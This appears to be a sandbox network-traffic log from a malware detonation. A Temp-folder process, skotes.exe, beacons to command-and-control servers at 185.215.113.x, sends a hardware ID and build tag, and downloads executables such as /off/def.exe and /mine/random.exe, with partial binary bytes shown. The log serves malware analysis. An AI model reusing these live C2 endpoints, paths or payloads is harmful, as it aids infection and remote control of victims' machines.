Nov 1, 2024 00:39:41.929661989 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52422 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:39:43.299274921 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:39:43.423563004 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52424 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:39:53.446050882 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 00:39:54.792685986 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:39:54.917112112 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52435 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50075	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:39.209798098 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 00:39:40.123852015 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50079	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:41.637578011 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 1, 2024 00:39:42.681952000 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50083	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:44.316457033 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 00:39:45.224189997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50086	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:46.754288912 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 1, 2024 00:39:47.673949003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	50088	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:47.526859999 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 00:39:48.440712929 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 00:39:48.442874908 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKJEHDBGHIEBGCGDGH Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 39 33 37 35 32 30 46 33 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 2d 2d 0d 0a Data Ascii: ------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="hwid"62937520F30F807656615------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="build"tale------CBAKJEHDBGHIEBGCGDGH--
Nov 1, 2024 00:39:48.731111050 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	50090	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:48.780432940 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 00:39:49.698436022 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:49 GMT Content-Type: application/octet-stream Content-Length: 2750464 Last-Modified: Thu, 31 Oct 2024 23:00:11 GMT Connection: keep-alive ETag: "67240bfb-29f800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 21 1f 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`* `@ !`Ui` @ @.rsrc`2@.idata 8@itokqeos)):@vqtnthmp @)@.taggant@`")@
Nov 1, 2024 00:39:49.698462009 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:49.698607922 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:49.698618889 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:49.698633909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:49.698692083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:49.698703051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:49.698714972 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:49.698842049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:49.698931932 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ?\|-az.G\SI{;QycX5e[[qpe&wf-Xy, (qhU6+WW*FMyPsM`J_x^LLZ+CR)jAwbf:M7y&]v^bR4or)w~
Nov 1, 2024 00:39:49.705429077 CET	1236	IN	Data Raw: d3 2a 1d 14 a0 7e c7 3c 53 a5 a1 c5 0c ff db 1d 09 76 06 4c 6a 75 18 36 63 1e 6c 76 98 4c 6e 2a 9f a3 7b ab 46 5d 05 c2 be 55 96 83 51 62 25 e0 f7 24 05 ac 57 02 7a 3e ae 1d 63 d3 f5 0d d7 b4 7d 68 d3 36 67 00 86 cf 59 51 12 a6 71 93 49 f8 c9 c6 Data Ascii: ~<SvLju6clvLn{F]UQb%$Wz>c}h6gYQqIq:fE`h\|>\|_$8xq!o353p\3qr`}dLBU2m }qU55Z3VaGiGkkw}mr@t"9wT7T"
Nov 1, 2024 00:39:51.490740061 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 00:39:51.779109955 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:51 GMT Content-Type: application/octet-stream Content-Length: 1968128 Last-Modified: Thu, 31 Oct 2024 23:36:29 GMT Connection: keep-alive ETag: "6724147d-1e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4e 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf N@PN@WkDNN @.rsrcD@.idata @ p,@qodksccb 3@reojqbkzN@.taggant0 N"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50091	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:49.307282925 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 00:39:50.232110977 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50092	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:51.773797989 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 1, 2024 00:39:52.688020945 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	50094	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:54.320288897 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 00:39:55.224687099 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	50095	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:56.767899036 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 1, 2024 00:39:57.690165997 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	50098	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:59.342758894 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 00:40:00.290860891 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:40:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	50104	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:40:00.015463114 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:40:00.600934982 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52441 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:40:00.713939905 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:40:00.839277983 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52441 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:40:00.891767025 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:40:01.016406059 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52441 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
